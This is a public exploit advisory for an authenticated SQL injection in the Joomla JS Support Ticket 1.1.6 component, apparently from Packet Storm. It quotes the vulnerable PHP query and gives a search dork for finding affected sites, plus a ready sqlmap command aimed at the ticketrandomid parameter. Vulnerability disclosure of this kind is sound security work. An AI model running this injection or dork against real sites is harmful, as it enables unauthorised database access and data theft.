Joomla JS Support Ticket 1.1.6 SQL Injection

Joomla JS Support Ticket component version 1.1.6 suffers from a remote SQL injection vulnerability in ticketreply.php.


MD5 | 3ea9e32ea71f28703d1ccfca184e503f

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#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 31 in file admin/models/ticketreply.php
  
  ...snip...
    24      function storeTicketReplies($ticketid, $message, $created, $data2) {
    25          if (!is_numeric($ticketid))
    26              return false;
    27  
    28          //validate reply for break down
    29          $ticketrandomid   = $data2['ticketrandomid'];    //!!!
    30          $db = $this->getDBo();
    31          $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'";  //!!!
    32          $db->setQuery($query);
    33          $res = $db->loadResult();
    34          if($res != $ticketid){
    35              return false;
    36          }//end
    ...snip...

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'

Source: packetstormsecurity.com
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